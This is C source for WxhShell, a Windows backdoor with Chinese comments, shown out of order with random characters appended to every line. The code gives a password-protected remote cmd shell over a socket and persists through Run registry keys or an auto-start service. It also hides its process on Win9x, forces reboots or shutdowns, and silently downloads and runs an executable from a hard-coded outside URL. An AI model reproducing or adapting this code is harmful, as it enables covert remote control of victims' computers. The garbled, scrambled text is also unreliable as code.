    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i5#4@ 4aC  
    if(Boot(SHUTDOWN)) oxNQNJ!X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,lDOo+eE%:  
    else { &2sfu0K  
    closesocket(wsh); ^E&WgXlb  
    ExitThread(0); !6FO[^h||H  
    } [79iC$8B|  
    break; ;iO5 8S3  
    } k*K.ZS688  
  // 获取shell uJSzz:\  
  case 's': { e]*@|e4b  
    CmdShell(wsh); U(:Di]>{  
    closesocket(wsh); 4`/Td?THx  
    ExitThread(0); 9GtVcucN  
    break; p8(Z{TSv  
  } `5 Iaz  
  // 退出 #pnB+h&tE  
  case 'x': { Dg}$;PK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j@.^3:  
    CloseIt(wsh); Mhu|S)hn  
    break; &P&VJLAe  
    } cvVv-L<[S`  
  // 离开 w Y=k$  
  case 'q': { r !;wKO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^4Tf6Fw#  
    closesocket(wsh); k!py*noy  
    WSACleanup(); a: 2ezxP  
    exit(1); _6.Y3+7I  
    break; |_m N:(3  
        } Pos(`ys;  
  } h9kwyhd"  
  } \49s;\I]  
"sYZ3  
  // 提示信息 Xbu P_U'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Xi/ p$$7u  
} w>wzV=R  
  } ?izl#?  
p&2oe\j$,  
  return; rGlnu.mK^  
} ?T)M z q}  
LRqlK\  
// shell模块句柄 7O,!67+^~  
int CmdShell(SOCKET sock) e.WKf,e"X  
{ uxlrJ1~M  
STARTUPINFO si; v}TFM  
ZeroMemory(&si,sizeof(si));  {gb` %J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %5!K?,z%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dWP<,Z>  
PROCESS_INFORMATION ProcessInfo; R$bDj >8  
char cmdline[]="cmd"; SBg|V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 20/P:;  
  return 0; <>H^:iqn  
} U+,RP$r@  
,olP}  
// 自身启动模式 yof8LWXx  
int StartFromService(void) -I[KIeF  
{ NqM=Nu\  
typedef struct "V`5 $ur  
{ nd }Z[)  
  DWORD ExitStatus; v8K`cijSS  
  DWORD PebBaseAddress; .Bojb~zt  
  DWORD AffinityMask; 1 %8JMq\  
  DWORD BasePriority; 3F32 /_`  
  ULONG UniqueProcessId; OMAvJzK .  
  ULONG InheritedFromUniqueProcessId; %Ix2NdC  
}   PROCESS_BASIC_INFORMATION; p8j*m~4B  
Muyi2F)j  
PROCNTQSIP NtQueryInformationProcess; 7Q9| P?&:z  
}$b!/<7FD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S0`u!l89(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VIg6'  
L *cP8v4  
  HANDLE             hProcess; 8^67,I-c  
  PROCESS_BASIC_INFORMATION pbi; XTRF IY  
]CDUHz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uH)?`I\zrd  
  if(NULL == hInst ) return 0; .'NTy R  
+F*h\4ry#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q6}KOO)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "c+$GS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }#S1!TU  
"s}Oeu[  
  if (!NtQueryInformationProcess) return 0; gYBMi)`RT  
g(i8HU*{q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $LVzhQlD  
  if(!hProcess) return 0; [eFJ+|U9  
.DM-&P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \h?6/@3ob  
@VQ<X4 Za  
  CloseHandle(hProcess); l{*Ko~g  
_*E j3=u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e.fxB  
if(hProcess==NULL) return 0; &+3RsIl W  
H5*#=It  
HMODULE hMod; 10xza=a  
char procName[255]; a(LtiO  
unsigned long cbNeeded; FKUo^F?z  
Bj GfUQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q:=jv6T#  
GT\ yjrCd  
  CloseHandle(hProcess);  ozKS<<  
Mh MXn;VKj  
if(strstr(procName,"services")) return 1; // 以服务启动 HPg%v |  
}<zbx*!  
  return 0; // 注册表启动 F"1tPWn  
} rBOH9L  
Z5 7.+z<  
// 主模块 *5{1.7  
int StartWxhshell(LPSTR lpCmdLine) ~n! & ~  
{ 11c\C Iu  
  SOCKET wsl; >!Xj%RW  
BOOL val=TRUE; _-rC]iQJ55  
  int port=0; DF UTQ:N  
  struct sockaddr_in door; ;y-:)7J  
j{D tjV8  
  if(wscfg.ws_autoins) Install(); &xZSM,  
)+ 'r-AF*  
port=atoi(lpCmdLine); 7 IJn9b  
+d7 Arg!m  
if(port<=0) port=wscfg.ws_port; u%lUi2P2E  
kP'm$+1or  
  WSADATA data; p:W{c/tV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5nTcd@lX  
":q+"*fy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Ms&WYN-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I;n <) >  
  door.sin_family = AF_INET; 5{#s<%b.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  e<(6x[_  
  door.sin_port = htons(port); +v$W$s&b-h  
OMM5ALc(F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bI`JG:^b  
closesocket(wsl); 0 /9 C=v  
return 1; ?1zGs2Qs  
} ^;F5ymb3U  
+25=u|#4r  
  if(listen(wsl,2) == INVALID_SOCKET) { e-OKv#]  
closesocket(wsl); 1z0|uc  
return 1; kKjcW` [  
} iSUu3Yv,_m  
  Wxhshell(wsl); Y]5spqG  
  WSACleanup(); 5W$Jxuyqj  
/Kq'3[d8  
return 0; Sk)lT^by  
(&v,3>3]  
} }!?RB v'W  
Gs,e8ri!  
// 以NT服务方式启动 ;)wk ^W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y0ObcP.MA  
{ @WJ\W`P  
DWORD   status = 0; M< .1U?_#  
  DWORD   specificError = 0xfffffff; ~mwIr  
QPh3(K1w^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^b}Wl0Fn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C/H;|3.X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bwcr/J( Nb  
  serviceStatus.dwWin32ExitCode     = 0; Fn iht<  
  serviceStatus.dwServiceSpecificExitCode = 0; AJE$Z0{q  
  serviceStatus.dwCheckPoint       = 0; w^("Pg`  
  serviceStatus.dwWaitHint       = 0; U=7nz|  
J#ClQ%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qS"#jxc==+  
  if (hServiceStatusHandle==0) return; ]T)<@bmL  
!dU$1:7  
status = GetLastError(); ||.Hv[ ]V*  
  if (status!=NO_ERROR) Iqn (NOq^[  
{ 7!h> < sx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IF-y/]  
    serviceStatus.dwCheckPoint       = 0; Jz3,vV fQ:  
    serviceStatus.dwWaitHint       = 0; !s?SI=B8  
    serviceStatus.dwWin32ExitCode     = status; m(d|TwG{  
    serviceStatus.dwServiceSpecificExitCode = specificError; t K/.9qP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L &hw- .Q  
    return; >fth iA  
  } )B)f`(SA"<  
t1"#L_<e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hvQXYo>TZx  
  serviceStatus.dwCheckPoint       = 0; %4Qs|CM)m  
  serviceStatus.dwWaitHint       = 0; 6y1\ar(A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yTh%[k  
} (x?Tjyzw  
mF|KjX~s  
// 处理NT服务事件,比如:启动、停止 PHEQG]H S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kU=U u>  
{ ^Il*`&+?P  
switch(fdwControl) `C C=?E  
{ &6 <a<S  
case SERVICE_CONTROL_STOP: h_+  
  serviceStatus.dwWin32ExitCode = 0; PB7-`uz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6>)nkD32g  
  serviceStatus.dwCheckPoint   = 0; Bf]Bi~w<  
  serviceStatus.dwWaitHint     = 0; "P54|XIJ\  
  { gzqp=I[%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wz"H.hf  
  } Kop(+]Q&n  
  return; h3&|yS|  
case SERVICE_CONTROL_PAUSE: 5V\",PA W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JAP(J~  
  break; 3fB]uq+eD%  
case SERVICE_CONTROL_CONTINUE: (Nk[ys}%*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v3FdlE  
  break; 2<y9xvp  
case SERVICE_CONTROL_INTERROGATE: |#M|"7;2z  
  break; *8m['$oyV  
}; qk3|fW/-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DcdEt=\)h  
} Hh*?[-&r~  
xE]y*\  
// 标准应用程序主函数 ^3S&LC 1;|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V$w lOMp  
{ =-X-${/  
 7gZ}Qy  
// 获取操作系统版本 Mqvo j7  
OsIsNt=GetOsVer(); dFDf/tH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i}P{{kMJ  
;RX u}pd  
  // 从命令行安装 8.8t$  
  if(strpbrk(lpCmdLine,"iI")) Install(); X<Z(,B  
)RvX}y-  
  // 下载执行文件 u:2Ll[ eo  
if(wscfg.ws_downexe) { ~6@`;s`[Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1' v!~*af  
  WinExec(wscfg.ws_filenam,SW_HIDE); qy)~OBY  
} +kQ=2dva  
^]D1':  
if(!OsIsNt) { MuQ)F-GSUu  
// 如果时win9x,隐藏进程并且设置为注册表启动 _8 |X820  
HideProc(); LybaE~=  
StartWxhshell(lpCmdLine); geqP.MR  
} h_S>Q  
else i!e8-gVMP&  
  if(StartFromService()) P/|1,S k  
  // 以服务方式启动 c$71~|-[  
  StartServiceCtrlDispatcher(DispatchTable); K)~aH  
else {vCtp   
  // 普通方式启动 1^X)vck  
  StartWxhshell(lpCmdLine); _"L6mcI6  
o0f`/ 6o  
return 0; y32$b,%Xi,  
} KNd<8{'.  
L/exR6M7  
/*,_\ ;  
?_^{9q%9  
=========================================== Q N#bd~  
j]<K%lwp  
B5|\<CF  
}UB@FRPF  
S#y[_C?H  
G%t>Ll``C  
" Cd"{7<OyM4  
nWY^?e'S  
#include <stdio.h> 7g(Z @  
#include <string.h> (BeJ,K7  
#include <windows.h> 6`@J=Q?  
#include <winsock2.h> #o4tG  
#include <winsvc.h> -dBWpT  
#include <urlmon.h> ]kTxVe  
tOLcnWt   
#pragma comment (lib, "Ws2_32.lib") ][v]Nk  
#pragma comment (lib, "urlmon.lib") y"q>}5  
-HQbvXAS  
#define MAX_USER   100 // 最大客户端连接数 {D Q%fneN4  
#define BUF_SOCK   200 // sock buffer 8mKp PwG0  
#define KEY_BUFF   255 // 输入 buffer o5?Y   
[%N?D#;  
#define REBOOT     0   // 重启 &t AYF_}  
#define SHUTDOWN   1   // 关机 -R:_o1"  
 3}8o 9  
#define DEF_PORT   5000 // 监听端口 0~^RHb.NA8  
G_S>{<[  
#define REG_LEN     16   // 注册表键长度 G#7(6:=;,`  
#define SVC_LEN     80   // NT服务名长度 ud$-A  
E6-*2U)k+  
// 从dll定义API ufL<L;Z\;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R~k`KuY@!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WXY'%G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * /n8T]s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  |50sGJE(  
wqF?o  
// wxhshell配置信息 V)>?[  
struct WSCFG { X&?s:A  
  int ws_port;         // 监听端口 n%7?G=_kj  
  char ws_passstr[REG_LEN]; // 口令 u6ULk<<\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ()?83Xj[c  
  char ws_regname[REG_LEN]; // 注册表键名 LsuOmB|^  
  char ws_svcname[REG_LEN]; // 服务名 (jDz[b#OPz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }r5yAE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `IUn{I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UE.kR+1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KaNs>[a8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^x: lB>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C'#)mo_@t  
Ct w<-'  
}; UgC65O2  
lFyDH{!  
// default Wxhshell configuration w&aZ 97{  
struct WSCFG wscfg={DEF_PORT, 8'8`xu$  
    "xuhuanlingzhe", bHe' U>  
    1, nm,LKS7  
    "Wxhshell", #Or;"}P>fB  
    "Wxhshell", V^5d5Ao  
            "WxhShell Service", zTw"5N  
    "Wrsky Windows CmdShell Service", #;j:;LRU  
    "Please Input Your Password: ", 2H)4}5H  
  1, 7PX`kI  
  "http://www.wrsky.com/wxhshell.exe", , ,{UGe 3  
  "Wxhshell.exe" 1 &9|~">{C  
    }; @a?7D;+<  
5dj@N3ZX7;  
// 消息定义模块 -{xk&EB^$5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nhjq.&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "+ou!YK+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <ukBAux,D  
char *msg_ws_ext="\n\rExit."; F^ 75y?  
char *msg_ws_end="\n\rQuit."; zXn-E  
char *msg_ws_boot="\n\rReboot..."; PC#^L$cg}  
char *msg_ws_poff="\n\rShutdown..."; + O.-o/  
char *msg_ws_down="\n\rSave to "; 2M-[x"\1/  
P9 <U+\z  
char *msg_ws_err="\n\rErr!"; &3[oM)-V  
char *msg_ws_ok="\n\rOK!"; ^es]jng`  
W-=6:y#A  
char ExeFile[MAX_PATH]; tNi>TkC}`  
int nUser = 0; `x9Eo4(/  
HANDLE handles[MAX_USER]; `GCoi ?n7  
int OsIsNt; "tzu.V-  
9Rnypzds  
SERVICE_STATUS       serviceStatus; }aVZ\PDg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3 !@  
"d_wu#fO)  
// 函数声明 YNEwX$)M,B  
int Install(void); k2U*dn"9U  
int Uninstall(void); cQU;PH]  
int DownloadFile(char *sURL, SOCKET wsh); D0r viO  
int Boot(int flag); "La;$7ds  
void HideProc(void); r!mRUw'u  
int GetOsVer(void); ?l0Qi  
int Wxhshell(SOCKET wsl); YA4D?'  
void TalkWithClient(void *cs); * j%x  
int CmdShell(SOCKET sock); mH'~pR>t  
int StartFromService(void);  8b2 =n  
int StartWxhshell(LPSTR lpCmdLine); }X&rJV  
6Yj{% G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uZ!YGv0^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YX0ysE*V:&  
;.A}c)b  
// 数据结构和表定义 #X}HF$t{=  
SERVICE_TABLE_ENTRY DispatchTable[] = sS>b}u+v#!  
{ %c }V/v_h  
{wscfg.ws_svcname, NTServiceMain}, E#B-JLMGl  
{NULL, NULL} kJWg},-\  
}; 7>JTQ CJ  
d~LoHp  
// 自我安装 ')y2W1  
int Install(void) ]:|B).  
{ .,bpFcQ  
  char svExeFile[MAX_PATH]; i})s4%a  
  HKEY key; }e?H(nZS7h  
  strcpy(svExeFile,ExeFile); /<J(\;Jr6  
D@O `"2  
// 如果是win9x系统,修改注册表设为自启动 4ba*Nc*Yc  
if(!OsIsNt) { Z[oF4 z   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -K64J5|b7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2B ]q1>a!  
  RegCloseKey(key); oJ74Mra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Z"}W!A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m@td[^O-  
  RegCloseKey(key); =RQF::[h  
  return 0; 52w@.]  
    } fZGY'o&5  
  } qs5>`skX  
} s,HbW%s  
else { XcVN{6-z  
qO#3{kW  
// 如果是NT以上系统,安装为系统服务 B>,e HXW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EuK}L[Kl  
if (schSCManager!=0) b3ohTmy4(  
{ YV O$`W^N  
  SC_HANDLE schService = CreateService mptFd  
  ( ;M:AcQZ|_  
  schSCManager, UVo`jb|> o  
  wscfg.ws_svcname, aSzI5J]/=  
  wscfg.ws_svcdisp, `q^#u  
  SERVICE_ALL_ACCESS, L:$4o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bm$|XS3cD  
  SERVICE_AUTO_START, .H" ?& Mf  
  SERVICE_ERROR_NORMAL, ".?4`@7F\  
  svExeFile, e97G]XLR  
  NULL, <xI<^r'C9e  
  NULL, X?5{2ulrI  
  NULL, Hn|W3U  
  NULL, )4yP(6|lx  
  NULL De?VZ2o9"  
  ); X0/slOT  
  if (schService!=0) NJUKH1lIhR  
  { `Ij@;=(  
  CloseServiceHandle(schService); ^q:-ZgM>  
  CloseServiceHandle(schSCManager); b}[S+G-9W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3Z!%td5n  
  strcat(svExeFile,wscfg.ws_svcname); !GcBNQ1p+7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k# [!; <  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <LHhs <M'  
  RegCloseKey(key); tW\yt~q,  
  return 0; "r9Rr_, >  
    } w'S,{GW  
  } ;J%:DD  
  CloseServiceHandle(schSCManager); s|=lKa]d!"  
} Q Be6\oq  
} d>QFmsh-  
HBlk~eZ  
return 1; 50,'z?-_  
} !nvwRQ  
L5&M@YTH  
// 自我卸载 1- 2hh)  
int Uninstall(void) n(: <pz  
{ mUYRioNj  
  HKEY key; ] ; w 2YR  
P`Np +E#I  
if(!OsIsNt) { %Bs. XW,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2~4:rEPJ:  
  RegDeleteValue(key,wscfg.ws_regname); ]3KeAJ  
  RegCloseKey(key); }A)\bffH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3BFOZV+  
  RegDeleteValue(key,wscfg.ws_regname); 9/ <3mF@E  
  RegCloseKey(key); h0{X$&:  
  return 0; dSM\:/t  
  } O0  'iq^g  
} Un?|RF  
} @@65t'3S  
else { +7_qg i7:  
iC"iR\Qu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ){^J8]b7#  
if (schSCManager!=0) cD!,ZL  
{ &>sbsx\y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); As:O|!F  
  if (schService!=0) @DN/]P  
  { 8&<mg;H,  
  if(DeleteService(schService)!=0) { jK|n^5\  
  CloseServiceHandle(schService); J4Gzp~{  
  CloseServiceHandle(schSCManager); Q6h+.  
  return 0; PL/g| ;  
  } bi<<z-q`wJ  
  CloseServiceHandle(schService); M\ATT%b:  
  } {,>G 1>Yv  
  CloseServiceHandle(schSCManager); \DB-2*a"  
} 3I6ocj [,  
} }vndt*F   
(b&g4$!x&5  
return 1; <b 5DX  
} Aoe\\'O|V  
8Fn\ycX#"l  
// 从指定url下载文件 M0V<Ay\%O  
int DownloadFile(char *sURL, SOCKET wsh) Y|Iq~Qy~  
{ + G@N  
  HRESULT hr; zl0{lV  
char seps[]= "/"; Ak'=l;  
char *token; wKJG 31I^  
char *file; c%H' jB [  
char myURL[MAX_PATH]; K~W(ZmB  
char myFILE[MAX_PATH]; EVmBLH-a  
6^`iuC5  
strcpy(myURL,sURL); eqx }]#  
  token=strtok(myURL,seps); 1I Xtu   
  while(token!=NULL) )Z7Vm2a  
  { X\^V{v^-  
    file=token;  wJp<ZL  
  token=strtok(NULL,seps); hnj\|6L  
  } ,9&cIUH  
d:kB Zrq  
GetCurrentDirectory(MAX_PATH,myFILE); ?UnQ?F(+G<  
strcat(myFILE, "\\"); Jf YgZ\#  
strcat(myFILE, file); Kz HYh  
  send(wsh,myFILE,strlen(myFILE),0); lC<;Q*Y  
send(wsh,"...",3,0); O1c%XwMn^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !fOPYgAGKn  
  if(hr==S_OK) D An2Pqf  
return 0; \"lz,bT  
else *+M#D^qo  
return 1; {j2V k)\[i  
mLCD N1UO{  
} }b_Ob  
#QNN;&L]R  
// 系统电源模块 AA\a#\#Z3  
int Boot(int flag) 'l*X?ccKy  
{ H& |/|\8F  
  HANDLE hToken; \ .xS  
  TOKEN_PRIVILEGES tkp; v~$ V  
wQxI({k@  
  if(OsIsNt) { 1@]&iZ]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )[rVg/m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vsGKCrLwh  
    tkp.PrivilegeCount = 1; Al>d 21U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YxF@1_g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sd%j&Su#4  
if(flag==REBOOT) { (7 I|lf e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xSY"Ru  
  return 0; 0 R6:3fV6R  
} ASqYA1p.  
else { U1\7Hcs$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4 m:h&^`N  
  return 0; Wjb_H (D  
} R)NSJ-A!2  
  } !%>RHh[  
  else { {_9O4 + &  
if(flag==REBOOT) { =?5)M_6)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FnvpnU",  
  return 0; k:0j;\Sx  
} zWY988fX0  
else { 0Lo8pe`DH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >kXscbRL7  
  return 0; :i.@d?  
} L(y70T  
} l=?e0d>O  
oe<i\uX8z  
return 1; u\\t~<8  
} Hw \of  
$/wm k7T  
// win9x进程隐藏模块 e]4$H.dP  
void HideProc(void) 2<D| {  
{ $ XjijD9R  
\n<! ld  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VLuHuih  
  if ( hKernel != NULL ) erH,EE^-x<  
  { )/RG-L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4'QX1p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uw;Sfx,s  
    FreeLibrary(hKernel); VF`!ks  
  } ;cMQ 0e  
T^v763%  
return; ,L ig6Z`  
} ocGrB)7eD  
~ZKJ:&f  
// 获取操作系统版本 OZ&/&?!XE  
int GetOsVer(void) 64B.7S88  
{ J"aw 1  
  OSVERSIONINFO winfo; $Q*R/MY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PUR,r%K`  
  GetVersionEx(&winfo); g,,wG k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2!#g\"  
  return 1; 3](hMk,}  
  else ajSB3}PN  
  return 0; 3x~7N  
} A5nggg4  
Y 9$jJ1V  
// 客户端句柄模块 lHM+<Z  
int Wxhshell(SOCKET wsl) orjtwF>^  
{ wAHuPQ&_Q  
  SOCKET wsh; D;en!.[Z  
  struct sockaddr_in client; $;^|]/-  
  DWORD myID; )Cy>'l*Og7  
~.T|n =  
  while(nUser<MAX_USER) i-|N6J  
{ 5zK,(cF0-  
  int nSize=sizeof(client); 0YiTv;mq;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \5a.JfF  
  if(wsh==INVALID_SOCKET) return 1; 'I,a 29  
_r:Fmn_%-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ph^1Ko" 2  
if(handles[nUser]==0) , >7PG2 a  
  closesocket(wsh); %9cT#9!7  
else ,C,nNaW  
  nUser++; Ta\F~$M  
  } DO~ D?/ia  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'V]C.`9c  
jL-2 }XrA  
  return 0; |OeWM  
} )K[\j?   
Ch]d\GM  
// 关闭 socket A:m+v{*`4  
void CloseIt(SOCKET wsh) nP%U<$,+  
{ xt}.0dC!/%  
closesocket(wsh); %SC Jmn2  
nUser--; }U8v ~wcd  
ExitThread(0); LDQ,SS,  
}  26p[x'W  
YZ>L_$:q  
// 客户端请求句柄 {D[6=\ F  
void TalkWithClient(void *cs) p3vf7eqn  
{ PA'&]piPl:  
x'g4DYl  
  SOCKET wsh=(SOCKET)cs; o8X_uKEI  
  char pwd[SVC_LEN]; sJZ2e6?n  
  char cmd[KEY_BUFF]; rfk{$g  
char chr[1]; x3i}IC  
int i,j; =mXC,<]  
Y\9}LgIvr  
  while (nUser < MAX_USER) { u\Cf@}5(  
- VJx)g  
if(wscfg.ws_passstr) { y"yo\IDW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JOuyEPy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pa46,q&M  
  //ZeroMemory(pwd,KEY_BUFF); 5, $6mU#=  
      i=0; 1 tOslP@  
  while(i<SVC_LEN) { v#x`c_  
 ,]EhDW6  
  // 设置超时 MsXw 8D  
  fd_set FdRead; 2PAu>}W*  
  struct timeval TimeOut; 36Lkcda[  
  FD_ZERO(&FdRead); =p_*lC%N  
  FD_SET(wsh,&FdRead); fHd[8{;P:  
  TimeOut.tv_sec=8; 9)7$UQY  
  TimeOut.tv_usec=0; X7!q/1$J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Fc:9a@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $w*L' <  
R ABw( b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1dLc/, |  
  pwd=chr[0]; >OaD7  
  if(chr[0]==0xd || chr[0]==0xa) { `rVru= zoy  
  pwd=0; )I&.6l!#  
  break; X8ulaa  
  } zx%WV@O9  
  i++; nsI+04[F  
    } XHU$&t`7>g  
o#p%IGG`  
  // 如果是非法用户,关闭 socket @[lMh9`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hY.i`sp*/  
} qS\#MMsTd  
KFbB}oId  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e%[*NX/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;(?tlFc  
o{y}c->  
while(1) { gl+d0<R zw  
pA*C|g  
  ZeroMemory(cmd,KEY_BUFF); D#LV&4e>.E  
@#4-4.6I<x  
      // 自动支持客户端 telnet标准   y;ElSt;S  
  j=0; jn5xYKv  
  while(j<KEY_BUFF) { tq59w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j4owo#OB-  
  cmd[j]=chr[0]; M?lh1Yu"  
  if(chr[0]==0xa || chr[0]==0xd) { ~snj92K  
  cmd[j]=0; B)Y[~4o  
  break; (j'\h/  
  } |@AXW   
  j++; W q<t+E[  
    } lndz  
q2X::Yqk  
  // 下载文件 /Q3>w-h  
  if(strstr(cmd,"http://")) { $Er=i }`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 e+j51  
  if(DownloadFile(cmd,wsh)) ,m<YS MKX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r}_92Tt  
